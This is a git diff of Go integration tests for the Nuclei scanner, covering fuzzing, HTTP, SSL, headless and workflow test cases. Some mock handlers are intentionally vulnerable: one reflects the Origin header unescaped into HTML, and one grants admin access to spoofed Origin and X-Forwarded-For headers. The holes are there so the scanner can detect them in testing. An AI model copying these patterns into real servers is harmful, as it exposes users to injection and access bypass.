results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?id=example", debug, "-fuzzing-type", "replace", "-jsonl", "-fuzz")
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?id=example", debug, "-fuzzing-type", "replace", "-jsonl")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -169,35 +143,58 @@ func (h *HeadlessFuzzingQuery) Execute(filePath string) error {
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?url=https://scanme.sh", debug, "-headless", "-fuzz")
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?url=https://scanme.sh", debug, "-headless")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(got, 2)
|
||||
}
|
||||
|
||||
type fuzzMultipleMode struct{}
|
||||
type FuzzHeaderBasic struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *fuzzMultipleMode) Execute(filePath string) error {
|
||||
func (h *FuzzHeaderBasic) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
xClientId := r.Header.Get("X-Client-Id")
|
||||
xSecretId := r.Header.Get("X-Secret-Id")
|
||||
if xClientId != "nuclei-v3" || xSecretId != "nuclei-v3" {
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
resp := fmt.Sprintf("<html><body><h1>This is multi-mode fuzzing test: %v <h1></body></html>", xClientId)
|
||||
fmt.Fprint(w, resp)
|
||||
host := r.Header.Get("Origin")
|
||||
// redirect to different domain
|
||||
w.WriteHeader(http.StatusOK)
|
||||
fmt.Fprintf(w, "<html><body><a href="+host+">Click Here</a></body></html>")
|
||||
})
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?url=https://scanme.sh", debug, "-jsonl", "-fuzz")
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(got, 1)
|
||||
}
|
||||
}
|
||||
|
||||
type FuzzHeaderMultiple struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *FuzzHeaderMultiple) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
host1 := r.Header.Get("Origin")
|
||||
host2 := r.Header.Get("X-Forwared-For")
|
||||
|
||||
fmt.Printf("host1: %s, host2: %s\n", host1, host2)
|
||||
if host1 == host2 && host2 == "secret.local" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
fmt.Fprintf(w, "welcome! to secret admin panel")
|
||||
return
|
||||
}
|
||||
// redirect to different domain
|
||||
w.WriteHeader(http.StatusForbidden)
|
||||
})
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(got, 1)
|
||||
}
|
||||
@@ -12,7 +12,6 @@ import (
|
||||
|
||||
var headlessTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/headless/headless-basic.yaml", TestCase: &headlessBasic{}},
|
||||
{Path: "protocols/headless/headless-waitevent.yaml", TestCase: &headlessBasic{}},
|
||||
{Path: "protocols/headless/headless-self-contained.yaml", TestCase: &headlessSelfContained{}},
|
||||
{Path: "protocols/headless/headless-header-action.yaml", TestCase: &headlessHeaderActions{}},
|
||||
{Path: "protocols/headless/headless-extract-values.yaml", TestCase: &headlessExtractValues{}},
|
||||
@@ -113,7 +112,7 @@ func (h *headlessExtractValues) Execute(filePath string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
return expectResultsCount(results, 3)
|
||||
}
|
||||
|
||||
type headlessPayloads struct{}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -20,10 +21,10 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
errorutil "github.com/projectdiscovery/utils/errors"
|
||||
fileutil "github.com/projectdiscovery/utils/file"
|
||||
logutil "github.com/projectdiscovery/utils/log"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
unitutils "github.com/projectdiscovery/utils/unit"
|
||||
)
|
||||
|
||||
var httpTestcases = []TestCaseInfo{
|
||||
@@ -76,62 +77,12 @@ var httpTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/http/get-without-scheme.yaml", TestCase: &httpGetWithoutScheme{}},
|
||||
{Path: "protocols/http/cl-body-without-header.yaml", TestCase: &httpCLBodyWithoutHeader{}},
|
||||
{Path: "protocols/http/cl-body-with-header.yaml", TestCase: &httpCLBodyWithHeader{}},
|
||||
{Path: "protocols/http/save-extractor-values-to-file.yaml", TestCase: &httpSaveExtractorValuesToFile{}},
|
||||
{Path: "protocols/http/cli-with-constants.yaml", TestCase: &ConstantWithCliVar{}},
|
||||
{Path: "protocols/http/matcher-status.yaml", TestCase: &matcherStatusTest{}},
|
||||
{Path: "protocols/http/disable-path-automerge.yaml", TestCase: &httpDisablePathAutomerge{}},
|
||||
{Path: "protocols/http/http-preprocessor.yaml", TestCase: &httpPreprocessor{}},
|
||||
{Path: "protocols/http/multi-request.yaml", TestCase: &httpMultiRequest{}},
|
||||
{Path: "protocols/http/http-matcher-extractor-dy-extractor.yaml", TestCase: &httpMatcherExtractorDynamicExtractor{}},
|
||||
{Path: "protocols/http/multi-http-var-sharing.yaml", TestCase: &httpMultiVarSharing{}},
|
||||
{Path: "protocols/http/raw-path-single-slash.yaml", TestCase: &httpRawPathSingleSlash{}},
|
||||
{Path: "protocols/http/raw-unsafe-path-single-slash.yaml", TestCase: &httpRawUnsafePathSingleSlash{}},
|
||||
}
|
||||
|
||||
type httpMultiVarSharing struct{}
|
||||
|
||||
func (h *httpMultiVarSharing) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "https://scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type httpMatcherExtractorDynamicExtractor struct{}
|
||||
|
||||
func (h *httpMatcherExtractorDynamicExtractor) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
html := `<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<body>
|
||||
<a href="/domains">Domains</a>
|
||||
</body>
|
||||
</html>`
|
||||
fmt.Fprint(w, html)
|
||||
})
|
||||
router.GET("/domains", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
html := `<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>Dynamic Extractor Test</title>
|
||||
</head>
|
||||
<body>
|
||||
<!-- The content of the title tag matches the regex pattern for both the extractor and matcher for 'title' -->
|
||||
</body>
|
||||
</html>
|
||||
`
|
||||
fmt.Fprint(w, html)
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type httpInteractshRequest struct{}
|
||||
@@ -420,7 +371,6 @@ func (h *httpDSLFunctions) Execute(filePath string) error {
|
||||
}
|
||||
|
||||
for _, header := range extracted {
|
||||
header = strings.Trim(header, `"`)
|
||||
parts := strings.Split(header, ": ")
|
||||
index, err := strconv.Atoi(parts[0])
|
||||
if err != nil {
|
||||
@@ -510,7 +460,7 @@ func (h *httpPostMultipartBody) Execute(filePath string) error {
|
||||
var routerErr error
|
||||
|
||||
router.POST("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
if err := r.ParseMultipartForm(unitutils.Mega); err != nil {
|
||||
if err := r.ParseMultipartForm(1 * 1024); err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
@@ -828,18 +778,8 @@ func (h *httpPaths) Execute(filepath string) error {
|
||||
}
|
||||
}
|
||||
|
||||
if len(expected) > len(actual) {
|
||||
actualValuesIndex := len(actual) - 1
|
||||
if actualValuesIndex < 0 {
|
||||
actualValuesIndex = 0
|
||||
}
|
||||
return fmt.Errorf("missing values : %v", expected[actualValuesIndex:])
|
||||
} else if len(expected) < len(actual) {
|
||||
return fmt.Errorf("unexpected values : %v", actual[len(expected)-1:])
|
||||
} else {
|
||||
if !reflect.DeepEqual(expected, actual) {
|
||||
return fmt.Errorf("expected: %v\n\nactual: %v", expected, actual)
|
||||
}
|
||||
if !reflect.DeepEqual(expected, actual) {
|
||||
return fmt.Errorf("%8v: %v\n%-8v: %v", "expected", expected, "actual", actual)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -1442,6 +1382,34 @@ func (h *httpCLBodyWithHeader) Execute(filePath string) error {
|
||||
return expectResultsCount(got, 1)
|
||||
}
|
||||
|
||||
type httpSaveExtractorValuesToFile struct{}
|
||||
|
||||
func (h *httpSaveExtractorValuesToFile) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
var buff bytes.Buffer
|
||||
for i := 0; i < 10; i++ {
|
||||
buff.WriteString(fmt.Sprintf(`"value": %v`+"\n", i))
|
||||
}
|
||||
_, _ = w.Write(buff.Bytes())
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// remove output.txt file if exists
|
||||
if !fileutil.FileExists("output.txt") {
|
||||
return fmt.Errorf("extractor output file output.txt file does not exist")
|
||||
} else {
|
||||
_ = os.Remove("output.txt")
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
// constant shouldn't be overwritten by cli var with same name
|
||||
type ConstantWithCliVar struct{}
|
||||
|
||||
@@ -1563,53 +1531,3 @@ func (h *httpMultiRequest) Execute(filePath string) error {
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type httpRawPathSingleSlash struct{}
|
||||
|
||||
func (h *httpRawPathSingleSlash) Execute(filepath string) error {
|
||||
expectedPath := "/index.php"
|
||||
results, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{"-t", filepath, "-u", "scanme.sh/index.php", "-debug-req"})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var actual string
|
||||
for _, v := range strings.Split(results, "\n") {
|
||||
if strings.Contains(v, "GET") {
|
||||
parts := strings.Fields(v)
|
||||
if len(parts) == 3 {
|
||||
actual = parts[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if actual != expectedPath {
|
||||
return fmt.Errorf("expected: %v\n\nactual: %v", expectedPath, actual)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type httpRawUnsafePathSingleSlash struct{}
|
||||
|
||||
func (h *httpRawUnsafePathSingleSlash) Execute(filepath string) error {
|
||||
expectedPath := "/index.php"
|
||||
results, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{"-t", filepath, "-u", "scanme.sh/index.php", "-debug-req"})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var actual string
|
||||
for _, v := range strings.Split(results, "\n") {
|
||||
if strings.Contains(v, "GET") {
|
||||
parts := strings.Fields(v)
|
||||
if len(parts) == 3 {
|
||||
actual = parts[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if actual != expectedPath {
|
||||
return fmt.Errorf("expected: %v\n\nactual: %v", expectedPath, actual)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -9,9 +9,7 @@ import (
|
||||
|
||||
"github.com/logrusorgru/aurora"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
)
|
||||
|
||||
@@ -37,7 +35,6 @@ var (
|
||||
"dns": dnsTestCases,
|
||||
"workflow": workflowTestcases,
|
||||
"loader": loaderTestcases,
|
||||
"profile-loader": profileLoaderTestcases,
|
||||
"websocket": websocketTestCases,
|
||||
"headless": headlessTestcases,
|
||||
"whois": whoisTestCases,
|
||||
@@ -56,10 +53,6 @@ var (
|
||||
"flow": flowTestcases,
|
||||
"javascript": jsTestcases,
|
||||
}
|
||||
// flakyTests are run with a retry count of 3
|
||||
flakyTests = map[string]bool{
|
||||
"protocols/http/self-contained-file-input.yaml": true,
|
||||
}
|
||||
|
||||
// For debug purposes
|
||||
runProtocol = ""
|
||||
@@ -85,18 +78,6 @@ func main() {
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// start fuzz playground server
|
||||
defer fuzzplayground.Cleanup()
|
||||
server := fuzzplayground.GetPlaygroundServer()
|
||||
defer server.Close()
|
||||
go func() {
|
||||
if err := server.Start("localhost:8082"); err != nil {
|
||||
if !strings.Contains(err.Error(), "Server closed") {
|
||||
gologger.Fatal().Msgf("Could not start server: %s\n", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
customTestsList := normalizeSplit(customTests)
|
||||
|
||||
failedTestTemplatePaths := runTests(customTestsList)
|
||||
@@ -169,8 +150,6 @@ func runTests(customTemplatePaths []string) []string {
|
||||
var err error
|
||||
if proto == "interactsh" || strings.Contains(testCaseInfo.Path, "interactsh") {
|
||||
failedTemplatePath, err = executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount)
|
||||
} else if flakyTests[testCaseInfo.Path] {
|
||||
failedTemplatePath, err = executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount)
|
||||
} else {
|
||||
failedTemplatePath, err = execute(testCaseInfo.TestCase, testCaseInfo.Path)
|
||||
}
|
||||
@@ -195,7 +174,6 @@ func execute(testCase testutils.TestCase, templatePath string) (string, error) {
|
||||
}
|
||||
|
||||
func expectResultsCount(results []string, expectedNumbers ...int) error {
|
||||
results = filterHeadlessLogs(results)
|
||||
match := sliceutil.Contains(expectedNumbers, len(results))
|
||||
if !match {
|
||||
return fmt.Errorf("incorrect number of results: %d (actual) vs %v (expected) \nResults:\n\t%s\n", len(results), expectedNumbers, strings.Join(results, "\n\t")) // nolint:all
|
||||
@@ -208,17 +186,3 @@ func normalizeSplit(str string) []string {
|
||||
return r == ','
|
||||
})
|
||||
}
|
||||
|
||||
// if chromium is not installed go-rod installs it in .cache directory
|
||||
// this function filters out the logs from download and installation
|
||||
func filterHeadlessLogs(results []string) []string {
|
||||
// [launcher.Browser] 2021/09/23 15:24:05 [launcher] [info] Starting browser
|
||||
filtered := []string{}
|
||||
for _, result := range results {
|
||||
if strings.Contains(result, "[launcher.Browser]") {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, result)
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
@@ -5,7 +5,7 @@ import osutils "github.com/projectdiscovery/utils/os"
|
||||
// All Interactsh related testcases
|
||||
var interactshTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/http/interactsh.yaml", TestCase: &httpInteractshRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/http/interactsh-stop-at-first-match.yaml", TestCase: &httpInteractshStopAtFirstMatchRequest{}, DisableOn: func() bool { return true }}, // disable this test for now
|
||||
{Path: "protocols/http/default-matcher-condition.yaml", TestCase: &httpDefaultMatcherCondition{}, DisableOn: func() bool { return true }},
|
||||
{Path: "protocols/http/interactsh-stop-at-first-match.yaml", TestCase: &httpInteractshStopAtFirstMatchRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/http/default-matcher-condition.yaml", TestCase: &httpDefaultMatcherCondition{}, DisableOn: func() bool { return true }}, // disable this test for now
|
||||
{Path: "protocols/http/interactsh-requests-mc-and.yaml", TestCase: &httpInteractshRequestsWithMCAnd{}},
|
||||
}
|
||||
@@ -19,16 +19,16 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/core"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
|
||||
parsers "github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/core/inputs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/parsers"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/projectdiscovery/ratelimit"
|
||||
@@ -69,12 +69,18 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
defer cache.Close()
|
||||
|
||||
mockProgress := &testutils.MockProgressClient{}
|
||||
reportingClient, err := reporting.New(&reporting.Options{}, "", false)
|
||||
reportingClient, err := reporting.New(&reporting.Options{}, "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer reportingClient.Close()
|
||||
|
||||
outputWriter := testutils.NewMockOutputWriter()
|
||||
var results []string
|
||||
outputWriter.WriteCallback = func(event *output.ResultEvent) {
|
||||
results = append(results, fmt.Sprintf("%v\n", event))
|
||||
}
|
||||
|
||||
defaultOpts := types.DefaultOptions()
|
||||
_ = protocolstate.Init(defaultOpts)
|
||||
_ = protocolinit.Init(defaultOpts)
|
||||
@@ -82,12 +88,6 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
defaultOpts.Templates = goflags.StringSlice{templatePath}
|
||||
defaultOpts.ExcludeTags = config.ReadIgnoreFile().Tags
|
||||
|
||||
outputWriter := testutils.NewMockOutputWriter(defaultOpts.OmitTemplate)
|
||||
var results []string
|
||||
outputWriter.WriteCallback = func(event *output.ResultEvent) {
|
||||
results = append(results, fmt.Sprintf("%v\n", event))
|
||||
}
|
||||
|
||||
interactOpts := interactsh.DefaultOptions(outputWriter, reportingClient, mockProgress)
|
||||
interactClient, err := interactsh.New(interactOpts)
|
||||
if err != nil {
|
||||
@@ -99,7 +99,6 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
catalog := disk.NewCatalog(path.Join(home, "nuclei-templates"))
|
||||
ratelimiter := ratelimit.New(context.Background(), 150, time.Second)
|
||||
defer ratelimiter.Stop()
|
||||
|
||||
executerOpts := protocols.ExecutorOptions{
|
||||
Output: outputWriter,
|
||||
Options: defaultOpts,
|
||||
@@ -111,7 +110,6 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
HostErrorsCache: cache,
|
||||
Colorizer: aurora.NewAurora(true),
|
||||
ResumeCfg: types.NewResumeCfg(),
|
||||
Parser: templates.NewParser(),
|
||||
}
|
||||
engine := core.New(defaultOpts)
|
||||
engine.SetExecuterOptions(executerOpts)
|
||||
@@ -128,7 +126,8 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
}
|
||||
store.Load()
|
||||
|
||||
_ = engine.Execute(context.Background(), store.Templates(), provider.NewSimpleInputProviderWithUrls(templateURL))
|
||||
input := &inputs.SimpleInputProvider{Inputs: []*contextargs.MetaInput{{Input: templateURL}}}
|
||||
_ = engine.Execute(store.Templates(), input)
|
||||
engine.WorkPool().Wait() // Wait for the scan to finish
|
||||
|
||||
return results, nil
|
||||
|
||||
@@ -172,14 +172,7 @@ func (h *nonExistentTemplateList) Execute(nonExistingTemplateList string) error
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("test-config.yaml")
|
||||
|
||||
_, err = testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-template-url", ts.URL+"/404", "-config", "test-config.yaml")
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-template-url", ts.URL+"/404")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for nonexisting workflow url")
|
||||
}
|
||||
@@ -195,14 +188,7 @@ func (h *nonExistentWorkflowList) Execute(nonExistingWorkflowList string) error
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("test-config.yaml")
|
||||
|
||||
_, err = testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-workflow-url", ts.URL+"/404", "-config", "test-config.yaml")
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-workflow-url", ts.URL+"/404")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for nonexisting workflow url")
|
||||
}
|
||||
|
||||
@@ -1,54 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
errorutil "github.com/projectdiscovery/utils/errors"
|
||||
)
|
||||
|
||||
var profileLoaderTestcases = []TestCaseInfo{
|
||||
{Path: "profile-loader/load-with-filename", TestCase: &profileLoaderByRelFile{}},
|
||||
{Path: "profile-loader/load-with-id", TestCase: &profileLoaderById{}},
|
||||
{Path: "profile-loader/basic.yml", TestCase: &customProfileLoader{}},
|
||||
}
|
||||
|
||||
type profileLoaderByRelFile struct{}
|
||||
|
||||
func (h *profileLoaderByRelFile) Execute(testName string) error {
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(false, "-tl", "-tp", "cloud.yml")
|
||||
if err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("failed to load template with id")
|
||||
}
|
||||
if len(results) <= 10 {
|
||||
return fmt.Errorf("incorrect result: expected more results than %d, got %v", 10, len(results))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type profileLoaderById struct{}
|
||||
|
||||
func (h *profileLoaderById) Execute(testName string) error {
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(false, "-tl", "-tp", "cloud")
|
||||
if err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("failed to load template with id")
|
||||
}
|
||||
if len(results) <= 10 {
|
||||
return fmt.Errorf("incorrect result: expected more results than %d, got %v", 10, len(results))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// this profile with load kevs
|
||||
type customProfileLoader struct{}
|
||||
|
||||
func (h *customProfileLoader) Execute(filepath string) error {
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(false, "-tl", "-tp", filepath)
|
||||
if err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("failed to load template with id")
|
||||
}
|
||||
if len(results) < 1 {
|
||||
return fmt.Errorf("incorrect result: expected more results than %d, got %v", 1, len(results))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -13,7 +13,6 @@ var sslTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/ssl/custom-cipher.yaml", TestCase: &sslCustomCipher{}},
|
||||
{Path: "protocols/ssl/custom-version.yaml", TestCase: &sslCustomVersion{}},
|
||||
{Path: "protocols/ssl/ssl-with-vars.yaml", TestCase: &sslWithVars{}},
|
||||
{Path: "protocols/ssl/multi-req.yaml", TestCase: &sslMultiReq{}},
|
||||
}
|
||||
|
||||
type sslBasic struct{}
|
||||
@@ -119,23 +118,3 @@ func (h *sslWithVars) Execute(filePath string) error {
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type sslMultiReq struct{}
|
||||
|
||||
func (h *sslMultiReq) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(&tls.Config{}, defaultStaticPort, func(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, "-V")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
@@ -3,15 +3,11 @@ package main
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
|
||||
"github.com/julienschmidt/httprouter"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
@@ -20,40 +16,11 @@ var workflowTestcases = []TestCaseInfo{
|
||||
{Path: "workflow/condition-matched.yaml", TestCase: &workflowConditionMatched{}},
|
||||
{Path: "workflow/condition-unmatched.yaml", TestCase: &workflowConditionUnmatch{}},
|
||||
{Path: "workflow/matcher-name.yaml", TestCase: &workflowMatcherName{}},
|
||||
{Path: "workflow/complex-conditions.yaml", TestCase: &workflowComplexConditions{}},
|
||||
{Path: "workflow/http-value-share-workflow.yaml", TestCase: &workflowHttpKeyValueShare{}},
|
||||
{Path: "workflow/dns-value-share-workflow.yaml", TestCase: &workflowDnsKeyValueShare{}},
|
||||
{Path: "workflow/code-value-share-workflow.yaml", TestCase: &workflowCodeKeyValueShare{}, DisableOn: isCodeDisabled}, // isCodeDisabled declared in code.go
|
||||
{Path: "workflow/multiprotocol-value-share-workflow.yaml", TestCase: &workflowMultiProtocolKeyValueShare{}},
|
||||
{Path: "workflow/shared-cookie.yaml", TestCase: &workflowSharedCookies{}},
|
||||
}
|
||||
|
||||
func init() {
|
||||
// sign code templates (unless they are disabled)
|
||||
if !isCodeDisabled() {
|
||||
// allow local file access to load content of file references in template
|
||||
// in order to sign them for testing purposes
|
||||
templates.TemplateSignerLFA()
|
||||
|
||||
// testCertFile and testKeyFile are declared in code.go
|
||||
tsigner, err := signer.NewTemplateSignerFromFiles(testCertFile, testKeyFile)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// only the code templates are necessary to be signed
|
||||
var templatesToSign = []string{
|
||||
"workflow/code-template-1.yaml",
|
||||
"workflow/code-template-2.yaml",
|
||||
}
|
||||
for _, templatePath := range templatesToSign {
|
||||
if err := templates.SignTemplate(tsigner, templatePath); err != nil {
|
||||
log.Fatalf("Could not sign template %v got: %s\n", templatePath, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type workflowBasic struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
@@ -130,30 +97,6 @@ func (h *workflowMatcherName) Execute(filePath string) error {
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type workflowComplexConditions struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *workflowComplexConditions) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprintf(w, "This is test matcher text")
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, result := range results {
|
||||
if !strings.Contains(result, "test-matcher-3") {
|
||||
return fmt.Errorf("incorrect result: the \"basic-get-third:test-matcher-3\" and only that should be matched!\nResults:\n\t%s", strings.Join(results, "\n\t"))
|
||||
}
|
||||
}
|
||||
return expectResultsCount(results, 2)
